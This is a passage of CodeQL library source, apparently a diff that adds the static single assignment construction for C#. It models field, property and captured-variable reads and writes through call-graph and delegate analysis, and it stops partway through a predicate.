ReadKind extends TReadKind { + string toString() { + this = ActualRead() and + result = "ActualRead" + or + this = OutRefExitRead() and + result = "OutRefExitRead" + or + this = CapturedVarExitRead() and + result = "CapturedVarExitRead" + or + this = CapturedVarCallRead() and + result = "CapturedVarCallRead" + or + this = RefReadBeforeWrite() and + result = "RefReadBeforeWrite" + } + + /** Holds if this kind represents a pseudo read. */ + predicate isPseudo() { this != ActualRead() } +} + +private module SourceVariableImpl { + private import AssignableDefinitions + + /** A field or a property. */ + class FieldOrProp extends Assignable, Modifiable { + FieldOrProp() { + this instanceof Field + or + this instanceof Property + } + + /** Holds if this is a volatile field. */ + predicate isVolatile() { this.(Field).isVolatile() } + } + + /** An instance field or property. */ + class InstanceFieldOrProp extends FieldOrProp { + InstanceFieldOrProp() { not this.isStatic() } + } + + /** An access to a field or a property. */ + class FieldOrPropAccess extends AssignableAccess, QualifiableExpr { + FieldOrPropAccess() { this.getTarget() instanceof FieldOrProp } + } + + /** An access to a field or a property that reads the underlying value. */ + class FieldOrPropRead extends FieldOrPropAccess, AssignableRead { } + + /** + * Holds if `fpa` is an access inside callable `c` of `this`-qualified or + * static field or property `fp`. + */ + predicate isPlainFieldOrPropAccess(FieldOrPropAccess fpa, FieldOrProp fp, Callable c) { + fieldOrPropAccessInCallable(fpa, fp, c) and + (ownFieldOrPropAccess(fpa) or fp.isStatic()) + } + + /** + * Holds if `fpa` is an access inside callable `c` of instance field or property + * `fp` with qualifier `q`. + */ + predicate isQualifiedFieldOrPropAccess( + FieldOrPropAccess fpa, InstanceFieldOrProp fp, Callable c, Ssa::SourceVariable q + ) { + fieldOrPropAccessInCallable(fpa, fp, c) and + fpa.getQualifier() = q.getAnAccess() + } + + /** Holds if `fpa` is an access inside callable `c` of field or property `fp`. */ + private predicate fieldOrPropAccessInCallable(FieldOrPropAccess fpa, FieldOrProp fp, Callable c) { + fp = fpa.getTarget() and + c = fpa.getEnclosingCallable() + } + + /** Holds if `fpa` is an access to an instance field or property of `this`. */ + predicate ownFieldOrPropAccess(FieldOrPropAccess fpa) { fpa.getQualifier() instanceof ThisAccess } + + /** + * Holds if the `i`th node of basic block `bb` is assignable definition `ad` + * targeting source variable `v`. + */ + predicate variableDefinition( + ControlFlow::BasicBlock bb, int i, Ssa::SourceVariable v, AssignableDefinition ad + ) { + ad = v.getADefinition() and + ad.getAControlFlowNode() = bb.getNode(i) and + // In cases like `(x, x) = (0, 1)`, we discard the first (dead) definition of `x` + not exists(TupleAssignmentDefinition first, TupleAssignmentDefinition second | first = ad | + second.getAssignment() = first.getAssignment() and + second.getEvaluationOrder() > first.getEvaluationOrder() and + second = v.getADefinition() + ) and + // In cases like `M(out x, out x)`, there is no inherent evaluation order, so we + // collapse the two definitions of `x`, using the first access as the representative, + // and expose both definitions in `ExplicitDefinition.getADefinition()` + not ad = getASameOutRefDefAfter(v, _) + } + + /** + * Gets an `out`/`ref` definition of the same source variable as the `out`/`ref` + * definition `def`, belonging to the same call, at a position after `def`. + */ + OutRefDefinition getASameOutRefDefAfter(Ssa::SourceVariable v, OutRefDefinition def) { + def = v.getADefinition() and + result.getCall() = def.getCall() and + result.getIndex() > def.getIndex() and + result = v.getADefinition() + } + + /** + * Holds if the `i`th node of basic block `bb` is a (potential) write to source + * variable `v`. The Boolean `certain` indicates whether the write is certain. + * + * This excludes implicit writes via calls. + */ + predicate variableWriteDirect( + ControlFlow::BasicBlock bb, int i, Ssa::SourceVariable v, boolean certain + ) { + exists(AssignableDefinition ad | variableDefinition(bb, i, v, ad) | + if any(AssignableDefinition ad0 | ad0 = ad or ad0 = getASameOutRefDefAfter(v, ad)).isCertain() + then certain = true + else certain = false + ) + or + variableWriteDirect(bb, i, v.(QualifiedFieldOrPropSourceVariable).getQualifier(), certain) + or + implicitEntryDefinition(bb, v) and + i = -1 and + certain = true + } + + /** + * Holds if the `i`th node of basic block `bb` reads source variable `v`. + * The read is of kind `rk`. + * + * This excludes implicit reads via calls. + */ + predicate variableReadDirect(ControlFlow::BasicBlock bb, int i, Ssa::SourceVariable v, ReadKind rk) { + v.getAnAccess().(AssignableRead) = bb.getNode(i).getElement() and + rk = ActualRead() + or + outRefExitRead(bb, i, v) and + rk = OutRefExitRead() + or + refReadBeforeWrite(bb, i, v) and + rk = RefReadBeforeWrite() + } + + private predicate outRefExitRead(ControlFlow::BasicBlock bb, int i, LocalScopeSourceVariable v) { + exists(ControlFlow::Nodes::AnnotatedExitNode exit | + exit.isNormal() and + exists(LocalScopeVariable lsv | + lsv = v.getAssignable() and + bb.getNode(i) = exit and + exit.getCallable() = lsv.getCallable() + | + lsv.(Parameter).isOutOrRef() + or + lsv.isRef() and + strictcount(v.getAnAccess()) > 1 + ) + ) + } + + private predicate refReadBeforeWrite(ControlFlow::BasicBlock bb, int i, LocalScopeSourceVariable v) { + exists(AssignableDefinitions::AssignmentDefinition def, LocalVariable lv | + def.getTarget() = lv and + lv.isRef() and + lv = v.getAssignable() and + bb.getNode(i) = def.getAControlFlowNode() + ) + } + + /** + * Holds if `fp` is a field or a property that is interesting as a basis for SSA. + * + * - A volatile field is never interesting, since all reads must reread from + * memory and we are forced to assume that the value can change at any point. + * - A property is only interesting if it is "field-like", that is, it is a + * non-overridable trivial property. + */ + predicate trackFieldOrProp(FieldOrProp fp) { + not fp.isVolatile() and + ( + fp instanceof Field + or + fp = any(TrivialProperty p | not p.isOverridableOrImplementable()) + ) + } +} + +private import SourceVariableImpl +private import Ssa::SourceVariables + +private module CallGraph { + private import semmle.code.csharp.dispatch.Dispatch + + /** + * Gets a potential run-time target for the call `c`. + * + * This predicate differs from `Call.getARuntimeTarget()` in three ways: + * + * (1) The returned callable is always a source declaration, + * + * (2) a simpler analysis is applied for delegate calls (needed to avoid making + * the SSA library and `Call.getARuntimeTarget()` mutually recursive), and + * + * (3) indirect calls to delegates via calls to library callables are included. + * + * The Boolean `libraryDelegateCall` indicates whether `c` is a call to a library + * method and the result is a delegate passed to `c`. For example, in + * + * ```csharp + * Lazy<int> M1() + * { + * return new Lazy<int>(M2); + * } + * ``` + * + * the constructor call `new Lazy<int>(M2)` includes `M2` as a target. + */ + Callable getARuntimeTarget(Call c, boolean libraryDelegateCall) { + // Non-delegate call: use dispatch library + exists(DispatchCall dc | dc.getCall() = c | + result = dc.getADynamicTarget().getUnboundDeclaration() and + libraryDelegateCall = false + ) + or + // Delegate call: use simple analysis + result = SimpleDelegateAnalysis::getARuntimeDelegateTarget(c, libraryDelegateCall) + } + + private module SimpleDelegateAnalysis { + private import semmle.code.csharp.dataflow.internal.DelegateDataFlow + private import semmle.code.csharp.dataflow.internal.Steps + private import semmle.code.csharp.frameworks.system.linq.Expressions + + /** + * Holds if `c` is a call that (potentially) calls the delegate expression `e`. + * Either `c` is a delegate call and `e` is the qualifier, or `c` is a call to + * a library callable and `e` is a delegate argument. + */ + private predicate delegateCall(Call c, Expr e, boolean libraryDelegateCall) { + c = any(DelegateCall dc | e = dc.getDelegateExpr()) and + libraryDelegateCall = false + or + c.getTarget().fromLibrary() and + e = c.getAnArgument() and + e.getType() instanceof SystemLinqExpressions::DelegateExtType and + libraryDelegateCall = true + } + + /** Holds if expression `e` is a delegate creation for callable `c` of type `t`. */ + private predicate delegateCreation(Expr e, Callable c, SystemLinqExpressions::DelegateExtType dt) { + e = + any(AnonymousFunctionExpr afe | + dt = afe.getType() and + c = afe + ) + or + e = + any(CallableAccess ca | + c = ca.getTarget().getUnboundDeclaration() and + dt = ca.getType() + ) + } + + private predicate delegateFlowStep(Expr pred, Expr succ) { + Steps::stepClosed(pred, succ) + or + exists(Call call, Callable callable | + callable.getUnboundDeclaration().canReturn(pred) and + call = succ + | + callable = call.getTarget() or + callable = call.getTarget().(Method).getAnOverrider+() or + callable = call.getTarget().(Method).getAnUltimateImplementor() or + callable = getARuntimeDelegateTarget(call, false) + ) + or + pred = succ.(DelegateCreation).getArgument() + or + exists(AssignableDefinition def, Assignable a | + a instanceof Field or + a instanceof Property + | + a = def.getTarget() and + succ.(AssignableRead) = a.getAnAccess() and + pred = def.getSource() + ) + or + exists(AddEventExpr ae | succ.(EventAccess).getTarget() = ae.getTarget() | + pred = ae.getRValue() + ) + } + + private predicate reachesDelegateCall(Expr e) { + delegateCall(_, e, _) + or + exists(Expr mid | reachesDelegateCall(mid) | delegateFlowStep(e, mid)) + } + + pragma[nomagic] + private predicate delegateFlowStepReaches(Expr pred, Expr succ) { + delegateFlowStep(pred, succ) and + reachesDelegateCall(succ) + } + + private Expr delegateCallSource(Callable c) { + delegateCreation(result, c, _) + or + delegateFlowStepReaches(delegateCallSource(c), result) + } + + /** Gets a run-time target for the delegate call `c`. */ + Callable getARuntimeDelegateTarget(Call c, boolean libraryDelegateCall) { + delegateCall(c, delegateCallSource(result), libraryDelegateCall) + } + } + + /** Holds if `(c1,c2)` is an edge in the call graph. */ + predicate callEdge(Callable c1, Callable c2) { + exists(Call c | c.getEnclosingCallable() = c1 and c2 = getARuntimeTarget(c, _)) + } +} + +private import CallGraph + +/** + * The SSA construction for a field or a property `fp` relies on implicit + * update nodes at every call site that conceivably could reach an update + * of the field or property. For example, there is an implicit update of + * `this.Field` on line 7 in + * + * ```csharp + * int Field; + * + * void SetField(int i) { Field = i; } + * + * int M() { + * Field = 0; + * SetField(1); // implicit update of `this.Field` + * return Field; + * } + * ``` + * + * At a first approximation, we need to find update paths of the form: + * + * ``` + * Call --(callEdge)-->* Callable(setter of fp) + * ``` + * + * This can be improved by excluding paths ending in: + * + * ``` + * Constructor --(intraInstanceCallEdge)-->+ Callable(setter of this.fp) + * ``` + * + * as these updates are guaranteed not to alias with the `fp` under + * consideration. + * + * This set of paths can be expressed positively by noting that those + * that set `this.fp`, end in zero or more `intraInstanceCallEdge`s between + * callables, and before those is either the originating `Call`: + * + * ``` + * Call --(intraInstanceCallEdge)-->* Callable(setter of this.fp) + * ``` + * + * or a `crossInstanceCallEdge`: + * + * ``` + * Call --crossInstanceCallEdge--> Callable + * --(intraInstanceCallEdge)-->* Callable(setter of this.fp) + * ``` + */ +private module FieldOrPropsImpl { + /** + * A callable that is neither static nor a constructor. + */ + private class InstanceCallable extends Callable { + InstanceCallable() { + not this.(Modifiable).isStatic() and + not this instanceof Constructor + } + } + + private class FieldOrPropDefinition extends AssignableDefinition { + FieldOrPropDefinition() { this.getTarget() instanceof FieldOrProp } + } + + /** + * Holds if `fpdef` is a definition that is not relevant as an implicit + * SSA update, since it is an initialization and therefore cannot alias. + */ + private predicate init(FieldOrPropDefinition fpdef) { + exists(FieldOrPropAccess access | access = fpdef.getTargetAccess() | + fpdef.getEnclosingCallable() instanceof Constructor and + ownFieldOrPropAccess(access) + or + exists(LocalVariable v | + v.getAnAccess() = access.getQualifier() and + not v.isCaptured() and + forex(AssignableDefinition def | def.getTarget() = v and exists(def.getSource()) | + def.getSource() instanceof ObjectCreation + ) + ) + ) + or + fpdef.(AssignableDefinitions::AssignmentDefinition).getAssignment() instanceof MemberInitializer + } + + /** + * Holds if `fpdef` is an update of `fp` in `c` that is relevant for SSA construction. + */ + private predicate relevantDefinition(Callable c, FieldOrProp fp, FieldOrPropDefinition fpdef) { + fpdef.getTarget() = fp and + not init(fpdef) and + fpdef.getEnclosingCallable() = c and + exists(FieldOrPropSourceVariable tf | tf.getAssignable() = fp) + } + + /** + * Holds if callable `c` can change the value of `this.fp` and is relevant + * for SSA construction. + */ + private predicate setsOwnFieldOrProp(InstanceCallable c, FieldOrProp fp) { + exists(FieldOrPropDefinition fpdef | relevantDefinition(c, fp, fpdef) | + ownFieldOrPropAccess(fpdef.getTargetAccess()) + ) + } + + /** + * Holds if callable `c` can change the value of `fp` and is relevant for SSA + * construction excluding those cases covered by `setsOwnFieldOrProp`. + */ + private predicate setsOtherFieldOrProp(Callable c, FieldOrProp fp) { + exists(FieldOrPropDefinition fpdef | relevantDefinition(c, fp, fpdef) | + not ownFieldOrPropAccess(fpdef.getTargetAccess()) + ) + } + + /** + * Holds if `(c1,c2)` is a call edge to a callable that does not change the + * value of `this`. + * + * Constructor-to-constructor calls can also be intra-instance, but are not + * included, as this does not affect whether a call chain ends in + * + * ``` + * Constructor --(intraInstanceCallEdge)-->+ Callable(setter of this.f) + * ``` + */ + private predicate intraInstanceCallEdge(Callable c1, InstanceCallable c2) { + exists(Call c | + c.getEnclosingCallable() = c1 and + c2 = getARuntimeTarget(c, _) and + c.(QualifiableExpr).targetIsLocalInstance() + ) + } + + /** + * Holds if `(c1,c2)` is an edge in the call graph excluding + * `intraInstanceCallEdge`. + */ + private predicate crossInstanceCallEdge(Callable c1, Callable c2) { + callEdge(c1, c2) and + not intraInstanceCallEdge(c1, c2) + } + + pragma[noinline] + predicate callAt(ControlFlow::BasicBlock bb, int i, Call call) { + bb.getNode(i) = call.getAControlFlowNode() and + getARuntimeTarget(call, _).hasBody() + } + + /** + * Holds if `call` occurs in basic block `bb` at index `i`, `fp` has + * an update somewhere, and `fp` is likely to be live in `bb` at index + * `i`. + */ + predicate updateCandidate( + ControlFlow::BasicBlock bb, int i, FieldOrPropSourceVariable fp, Call call + ) { + callAt(bb, i, call) and + call.getEnclosingCallable() = fp.getEnclosingCallable() and + relevantDefinition(_, fp.getAssignable(), _) and + not variableWriteDirect(bb, i, fp, _) + } + + private predicate source( + Call call, FieldOrPropSourceVariable fps, FieldOrProp fp, Callable c, boolean fresh + ) { + updateCandidate(_, _, fps, call) and + c = getARuntimeTarget(call, _) and + fp = fps.getAssignable() and + if c instanceof Constructor then fresh = true else fresh = false + } + + /** + * A callable in a potential call-chain between a source that cares about the + * value of some field `f` and a sink that may overwrite `f`. The Boolean + * `fresh` indicates whether the instance `this` in `c` has been freshly + * allocated along the call-chain. + */ + private newtype TCallableNode = + MkCallableNode(Callable c, boolean fresh) { source(_, _, _, c, fresh) or edge(_, c, fresh) } + + private predicate edge(TCallableNode n, Callable c2, boolean f2) { + exists(Callable c1, boolean f1 | n = MkCallableNode(c1, f1) | + intraInstanceCallEdge(c1, c2) and f2 = f1 + or + crossInstanceCallEdge(c1, c2) and + if c2 instanceof Constructor then f2 = true else f2 = false + ) + } + + private predicate edge(TCallableNode n1, TCallableNode n2) { + exists(Callable c2, boolean f2 | + edge(n1, c2, f2) and + n2 = MkCallableNode(c2, f2) + ) + } + + pragma[noinline] + private predicate source(Call call, FieldOrPropSourceVariable fps, FieldOrProp fp, TCallableNode n) { + exists(Callable c, boolean fresh | + source(call, fps, fp, c, fresh) and + n = MkCallableNode(c, fresh) + ) + } + + private predicate sink(Callable c, FieldOrProp fp, TCallableNode n) { + relevantDefinition(c, fp, _) and + ( + setsOwnFieldOrProp(c, fp) and n = MkCallableNode(c, false) + or + setsOtherFieldOrProp(c, fp) and n = MkCallableNode(c, _) + ) + } + + private predicate prunedNode(TCallableNode n) { + sink(_, _, n) + or + exists(TCallableNode mid | edge(n, mid) and prunedNode(mid)) + } + + private predicate prunedEdge(TCallableNode n1, TCallableNode n2) { + prunedNode(n1) and + prunedNode(n2) and + edge(n1, n2) + } + + private predicate edgePlus(TCallableNode c1, TCallableNode c2) = fastTC(prunedEdge/2)(c1, c2) + + pragma[noopt] + predicate updatesNamedFieldOrProp(FieldOrPropSourceVariable fps, Call call, Callable setter) { + exists(TCallableNode src, TCallableNode sink, FieldOrProp fp | + source(call, fps, fp, src) and + sink(setter, fp, sink) and + (src = sink or edgePlus(src, sink)) + ) + } +} + +/** + * As in the SSA construction for fields and properties, SSA construction + * for captured variables relies on implicit update nodes at every call + * site that conceivably could reach an update of the captured variable. + * For example, there is an implicit update of `v` on line 4 in + * + * ```csharp + * int M() { + * int i = 0; + * Action a = () => { i = 1; }; + * a(); // implicit update of `v` + * return i; + * } + * ``` + * + * We find update paths of the form: + * + * ``` + * Call --(callEdge)-->* Callable(update of v) + * ``` + * + * For simplicity, and for performance reasons, we ignore cases where a path + * goes through the callable that introduces `v`; such a path does not + * represent an actual update, as a new copy of `v` is updated. + */ +private module CapturedVariableImpl { + /** + * A local scope variable that is captured, and updated by at least one capturer. + */ + private class CapturedWrittenLocalScopeVariable extends LocalScopeVariable { + CapturedWrittenLocalScopeVariable() { + exists(AssignableDefinition def | def.getTarget() = this | + def.getEnclosingCallable() != this.getCallable() + ) + } + } + + private class CapturedWrittenLocalScopeSourceVariable extends LocalScopeSourceVariable { + CapturedWrittenLocalScopeSourceVariable() { + this.getAssignable() instanceof CapturedWrittenLocalScopeVariable + } + } + + private class CapturedWrittenLocalScopeVariableDefinition extends AssignableDefinition { + CapturedWrittenLocalScopeVariableDefinition() { + this.getTarget() instanceof CapturedWrittenLocalScopeVariable + } + } + + /** + * Holds if `vdef` is an update of captured variable `v` in callable `c` + * that is relevant for SSA construction. + */ + predicate relevantDefinition( + Callable c, CapturedWrittenLocalScopeVariable v, + CapturedWrittenLocalScopeVariableDefinition vdef + ) { + exists(ControlFlow::BasicBlock bb, int i, CapturedWrittenLocalScopeSourceVariable sv | + vdef.getTarget() = v and + vdef.getEnclosingCallable() = c and + sv.getAssignable() = v and + bb.getNode(i) = vdef.getAControlFlowNode() and + c != v.getCallable() + ) + } + + /** + * Holds if `call` occurs in basic block `bb` at index `i`, captured variable + * `v` has an update somewhere, and `v` is likely to be live in `bb` at index + * `i`. + */ + predicate updateCandidate( + ControlFlow::BasicBlock bb, int i, CapturedWrittenLocalScopeSourceVariable v, Call call + ) { + FieldOrPropsImpl::callAt(bb, i, call) and + call.getEnclosingCallable() = v.getEnclosingCallable() and + exists(Assignable a | + a = v.getAssignable() and + relevantDefinition(_, a, _) and + not exists(AssignableDefinitions::OutRefDefinition def | + def.getCall() = call and + def.getTarget() = a + ) + ) + } + + private predicate source( + Call call, CapturedWrittenLocalScopeSourceVariable v, + CapturedWrittenLocalScopeVariable captured, Callable c, boolean libraryDelegateCall + ) { + updateCandidate(_, _, v, call) and + c = getARuntimeTarget(call, libraryDelegateCall) and + captured = v.getAssignable() and + relevantDefinition(_, captured, _) + } + + /** + * Holds if `c` is a relevant part of the call graph for + * `updatesCapturedVariable` based on following edges in forward direction. + */ + private predicate reachbleFromSource(Callable c) { + source(_, _, _, c, _) + or + exists(Callable mid | reachbleFromSource(mid) | callEdge(mid, c)) + } + + private predicate sink(Callable c, CapturedWrittenLocalScopeVariable captured) { + reachbleFromSource(c) and + relevantDefinition(c, captured, _) + } + + private predicate prunedCallable(Callable c) { + sink(c, _) + or + exists(Callable mid | callEdge(c, mid) and prunedCallable(mid)) + } + + private predicate prunedEdge(Callable c1, Callable c2) { + prunedCallable(c1) and + prunedCallable(c2) and + callEdge(c1, c2) + } + + private predicate edgePlus(Callable c1, Callable c2) = fastTC(prunedEdge/2)(c1, c2) + + /** + * Holds if `call` may change the value of captured variable `v`. The actual + * update occurs in `writer`. That is, `writer` can be reached from `call` + * using zero or more additional calls (as indicated by `additionalCalls`). + * One of the intermediate callables may be the callable that introduces `v`, + * in which case `call` is not an actual update. + */ + pragma[noopt] + predicate updatesCapturedVariableWriter( + Call call, CapturedWrittenLocalScopeSourceVariable v, Callable writer, boolean additionalCalls + ) { + exists(Callable src, CapturedWrittenLocalScopeVariable captured, boolean libraryDelegateCall | + source(call, v, captured, src, libraryDelegateCall) and + sink(writer, captured) and + ( + src = writer and additionalCalls = libraryDelegateCall + or + edgePlus(src, writer) and additionalCalls = true + ) + ) + } +} + +/** + * Holds if the `i`th node of basic block `bb` is a (potential) write to source + * variable `v`. The Boolean `certain` indicates whether the write is certain. + * + * This includes implicit writes via calls. + */ +predicate variableWrite(ControlFlow::BasicBlock bb, int i, Ssa::SourceVariable v, boolean certain) { + variableWriteDirect(bb, i, v, certain) + or + variableWriteQualifier(bb, i, v, certain) + or + updatesNamedFieldOrProp(bb, i, _, v, _) and + certain = false + or + updatesCapturedVariable(bb, i, _, v, _, _) and + certain = false +} + +/** + * Liveness analysis to restrict the size of the SSA representation for + * captured variables. + * + * Example: + * + * ```csharp + * void M() { + * int i = 0; + * void M2() { + * System.Console.WriteLine(i); + * } + * M2(); + * } + * ``` + * + * The definition of `i` on line 2 is live, because of the call to `M2` on + * line 6. However, that call is not a direct read of `i`, so we account + * for that by inserting an implicit read of `i` on line 6. + * + * The predicates in this module follow the same structure as those in + * `CapturedVariableImpl`. + */ +private module CapturedVariableLivenessImpl { + /** + * Holds if `c` is a callable that captures local scope variable `v`, and + * `c` may read the value of the captured variable. + */ + private predicate capturerReads(Callable c, LocalScopeVariable v) { + exists(LocalScopeSourceVariable sv | + variableReadDirect(_, _, sv, _) and + c = sv.getEnclosingCallable() and + v = sv.getAssignable() and + v.getCallable() != c + ) + } + + /** + * A local scope variable that is captured, and read by at least one capturer. + */ + private class CapturedReadLocalScopeVariable extends LocalScopeVariable { + CapturedReadLocalScopeVariable() { capturerReads(_, this) } + } + + private class CapturedReadLocalScopeSourceVariable extends LocalScopeSourceVariable { + CapturedReadLocalScopeSourceVariable() { + this.getAssignable() instanceof CapturedReadLocalScopeVariable + } + } + + /** + * Holds if a write to captured source variable `v` may be read by a + * callable reachable from the call `c`. + */ + private predicate implicitReadCandidate( + CapturedReadLocalScopeSourceVariable v, ControlFlow::Nodes::ElementNode c + ) { + exists(ControlFlow::BasicBlock bb, int i | variableWriteDirect(bb, i, v, _) | + c = bb.getNode(any(int j | j > i)) + or + c = bb.getASuccessor+().getANode() + ) + } + + private predicate source( + ControlFlow::Nodes::ElementNode call, CapturedReadLocalScopeSourceVariable v, + CapturedReadLocalScopeVariable captured, Callable c, boolean libraryDelegateCall + ) { + implicitReadCandidate(v, call) and + c = getARuntimeTarget(call.getElement(), libraryDelegateCall) and + captured = v.getAssignable() and + capturerReads(_, captured) + } + + /** + * Holds if `c` is a relevant part of the call graph for + * `readsCapturedVariable` based on following edges in forward direction. + */ + private predicate reachbleFromSource(Callable c) { + source(_, _, _, c, _) + or + exists(Callable mid | reachbleFromSource(mid) | callEdge(mid, c)) + } + + private predicate sink(Callable c, CapturedReadLocalScopeVariable captured) { + reachbleFromSource(c) and + capturerReads(c, captured) + } + + private predicate prunedCallable(Callable c) { + sink(c, _) + or + exists(Callable mid | callEdge(c, mid) and prunedCallable(mid)) + } + + private predicate prunedEdge(Callable c1, Callable c2) { + prunedCallable(c1) and + prunedCallable(c2) and + callEdge(c1, c2) + } + + private predicate edgePlus(Callable c1, Callable c2) = fastTC(prunedEdge/2)(c1, c2) + + /** + * Holds if `call` may read the value of captured variable `v`. The actual + * read occurs in `reader`. That is, `reader` can be reached from `call` + * using zero or more additional calls (as indicated by `additionalCalls`). + * One of the intermediate callables may be a callable that writes to `v`, + * in which case `call` is not an actual read. + */ + pragma[noopt] + private predicate readsCapturedVariable( + ControlFlow::Nodes::ElementNode call, CapturedReadLocalScopeSourceVariable v, Callable reader, + boolean additionalCalls + ) { + exists(Callable src, CapturedReadLocalScopeVariable captured, boolean libraryDelegateCall | + source(call, v, captured, src, libraryDelegateCall) and + sink(reader, captured) and + ( + src = reader and additionalCalls = libraryDelegateCall + or + edgePlus(src, reader) and additionalCalls = true + ) + ) + } + + /** + * Holds if captured local scope variable `v` is written inside the callable + * to which `bb` belongs, and the value may be read via `call` using zero or + * more additional calls (as indicated by `additionalCalls`). + * + * In this case a pseudo-read is inserted at the exit node at index `i` in `bb`, + * in order to make the write live. + * + * Example: + * + * ```csharp + * class C { + * void M1() { + * int i = 0; + * void M2() { i = 2; }; + * M2(); + * System.Console.WriteLine(i); + * } + * } + * ``` + * + * The write to `i` inside `M2` on line 4 is live because of the implicit call + * definition on line 5. + */ + predicate capturedReadOut( + ControlFlow::BasicBlock bb, int i, LocalScopeSourceVariable v, LocalScopeSourceVariable outer, + Call call, boolean additionalCalls + ) { + exists( + ControlFlow::Nodes::AnnotatedExitNode exit, ControlFlow::BasicBlock pred, + AssignableDefinition adef + | + exit.isNormal() and + variableDefinition(pred, _, v, adef) and + updatesCapturedVariable(_, _, call, outer, adef, additionalCalls) and + pred.getASuccessor*() = bb and + exit = bb.getNode(i) + ) + } + + /** + * Holds if a value written to captured local scope variable `outer` may be + * read as `inner` via `call`, at index `i` in basic block `bb`, using one or + * more calls (as indicated by `additionalCalls`). + * + * Example: + * + * ```csharp + * class C { + * void M1() { + * int i = 0; + * void M2() => System.Console.WriteLine(i); + * i = 1; + * M2(); + * } + * } + * ``` + * + * The write to `i` on line 5 is live because of the call to `M2` on line 6, which + * reaches the entry definition for `i` in `M2` on line 4. + */ + predicate capturedReadIn( + ControlFlow::BasicBlock bb, int i, LocalScopeSourceVariable outer, + LocalScopeSourceVariable inner, ControlFlow::Nodes::ElementNode call, boolean additionalCalls + ) { + exists(Callable reader | + implicitReadCandidate(outer, call) and + readsCapturedVariable(call, outer, reader, additionalCalls) and + reader = inner.getEnclosingCallable() and + outer.getAssignable() = inner.getAssignable() and + call = bb.getNode(i) + ) + } +} + +private import CapturedVariableLivenessImpl + +/** + * Holds if the `i`th of basic block `bb` reads source variable `v`. + * The read is of kind `rk`. + * + * This includes implicit reads via calls. + */ +predicate variableRead(ControlFlow::BasicBlock bb, int i, Ssa::SourceVariable v, ReadKind rk) { + variableReadDirect(bb, i, v, rk) + or + capturedReadOut(bb, i, v, _, _, _) and + rk = CapturedVarExitRead() + or + capturedReadIn(bb, i, v, _, _, _) and + rk = CapturedVarCallRead() +} + +cached +private module Cached { + cached + newtype TSourceVariable = + TLocalVar(Callable c, LocalScopeVariable v) { + c = v.getCallable() + or + // Local scope variables can be captured + c = v.getAnAccess().getEnclosingCallable() + } or + TPlainFieldOrProp(Callable c, FieldOrProp f) { + exists(FieldOrPropRead fr | isPlainFieldOrPropAccess(fr, f, c)) and + trackFieldOrProp(f) + } or + TQualifiedFieldOrProp(Callable c, Ssa::SourceVariable q, InstanceFieldOrProp f) { + exists(FieldOrPropRead fr | isQualifiedFieldOrPropAccess(fr, f, c, q)) and + trackFieldOrProp(f) + } + + /** Gets an access to source variable `v`. */ + cached + AssignableAccess getAnAccess(Ssa::SourceVariable v) { + exists(Callable c | + exists(LocalScopeVariable lsv | v = TLocalVar(c, lsv) | + result = lsv.getAnAccess() and + result.getEnclosingCallable() = c + ) + or + exists(FieldOrProp fp | v = TPlainFieldOrProp(c, fp) | + isPlainFieldOrPropAccess(result, fp, c) + ) + or + exists(FieldOrProp fp, Ssa::SourceVariable q | v = TQualifiedFieldOrProp(c, q, fp) | + isQualifiedFieldOrPropAccess(result, fp, c, q) + ) + ) + } + + cached + predicate implicitEntryDefinition( + ControlFlow::ControlFlow::BasicBlocks::EntryBlock bb, Ssa::SourceVariable v + ) { + exists(Callable c | + c = bb.getCallable() and + c = v.getEnclosingCallable() + | + // Captured variable + exists(LocalScopeVariable lsv | + v = any(LocalScopeSourceVariable lv | lsv = lv.getAssignable()) + | + lsv.getCallable() != c + ) + or + // Each tracked field and property has an implicit entry definition + v instanceof PlainFieldOrPropSourceVariable + ) + } + + cached + AssignableDefinition getADefinition(Ssa::ExplicitDefinition def) { + exists(Ssa::SourceVariable v, AssignableDefinition ad | explicitDefinition(def, v, ad) | + result = ad or + result = getASameOutRefDefAfter(v, ad) + ) + } + + /** + * Holds if `call` may change the value of field or property `fp`. The actual + * update occurs in `setter`. + */ + cached + predicate updatesNamedFieldOrProp( + ControlFlow::BasicBlock bb, int i, Call c, FieldOrPropSourceVariable fp, Callable setter + ) { + FieldOrPropsImpl::updateCandidate(bb, i, fp, c) and + FieldOrPropsImpl::updatesNamedFieldOrProp(fp, c, setter) + } + + /** + * Holds if `call` may change the value of captured variable `v`. The actual + * update occurs in `def`. + */ + cached + predicate updatesCapturedVariable( + ControlFlow::BasicBlock bb, int i, Call call, LocalScopeSourceVariable v, + AssignableDefinition def, boolean additionalCalls + ) { + CapturedVariableImpl::updateCandidate(bb, i, v, call) and + exists(Callable writer | + CapturedVariableImpl::relevantDefinition(writer, v.getAssignable(), def) + | + CapturedVariableImpl::updatesCapturedVariableWriter(call, v, writer, additionalCalls) + ) + } + + cached + predicate variableWriteQualifier( + ControlFlow::BasicBlock bb, int i, QualifiedFieldOrPropSourceVariable v, boolean certain + ) { + variableWrite(bb, i, v.getQualifier(), certain) and + // Eliminate corner case where a call definition can overlap with a + // qualifier definition: if method `M` updates field `F`, then a call + // to `M` is both an update of `x.M` and `x.M.M`, so the former call + // definition should not give rise to an implicit qualifier definition + // for `x.M.M`. + not updatesNamedFieldOrProp(bb, i, _, v, _) + } + + cached + predicate isCapturedVariableDefinitionFlowIn( + Ssa::ExplicitDefinition def, Ssa::ImplicitEntryDefinition edef, + ControlFlow::Nodes::ElementNode c, boolean additionalCalls + ) { + exists(Definition def0, ControlFlow::BasicBlock bb, int i | + capturedReadIn(_, _, def.getSourceVariable(), edef.getSourceVariable(), c, additionalCalls) and + def = def0.getAnUltimateDefinition() and + ssaDefReachesRead(_, def0, bb, i, CapturedVarCallRead()) and + c = bb.getNode(i) + ) + } + + cached + predicate isCapturedVariableDefinitionFlowOut( + Ssa::ExplicitDefinition def, Ssa::ImplicitCallDefinition cdef, boolean additionalCalls + ) { + exists(Ssa::Definition def0, ControlFlow::BasicBlock bb, int i | + def = def0.getAnUltimateDefinition() and + lastRef(def0, bb, i) and + capturedReadOut(bb, i, def0.getSourceVariable(), cdef.getSourceVariable(), cdef.getCall(), + additionalCalls) + ) + } + + cached + predicate explicitDefinition(WriteDefinition def, Ssa::SourceVariable v, AssignableDefinition ad) { + exists(ControlFlow::BasicBlock bb, int i | + def.definesAt(v, bb, i) and + variableDefinition(bb, i, v, ad) + ) + } + + private predicate adjacentDefReaches( + Definition def, ControlFlow::BasicBlock bb1, int i1, ControlFlow::BasicBlock bb2, int i2 + ) { + adjacentDefRead(def, bb1, i1, bb2, i2) + or + exists(ControlFlow::BasicBlock bb3, int i3 | + adjacentDefReaches(def, bb1, i1, 